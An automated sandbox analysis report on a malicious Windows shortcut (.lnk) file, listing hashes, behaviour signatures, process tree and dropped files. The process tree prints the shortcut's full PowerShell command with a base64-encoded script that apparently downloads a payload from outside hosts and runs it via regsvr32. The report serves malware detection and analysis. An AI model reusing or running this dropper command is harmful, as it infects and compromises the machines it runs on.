Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 10:49

General

  • Target

    a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk

  • Size

    2KB

  • MD5

    7a6b4a25288a5a52f98e21964de0b356

  • SHA1

    06eadddeeffa93e2d4cb70cfcc15a8c5d0d8c0a5

  • SHA256

    a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1

  • SHA512

    cb104d3bd3fe201236c6c3fcef934e6812a845b4121867af11f6f2494844e518fba84e923e9d061caf382416376f8986ed2c470286a29f35ea1a22ce5e4b46bb

Score
6/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2452

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1

    Filesize

    926B

    MD5

    8ef6909ba4b9e6cd6676297601c39e5c

    SHA1

    9dcd9af682adacb278c1970d49babafd29df3928

    SHA256

    9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c

    SHA512

    b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5

  • memory/2796-38-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

    Filesize

    4KB

  • memory/2796-39-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

  • memory/2796-40-0x0000000001E60000-0x0000000001E68000-memory.dmp

    Filesize

    32KB

  • memory/2796-41-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2796-43-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2796-44-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2796-42-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2796-45-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2796-51-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB

  • memory/2796-53-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

    Filesize

    9.6MB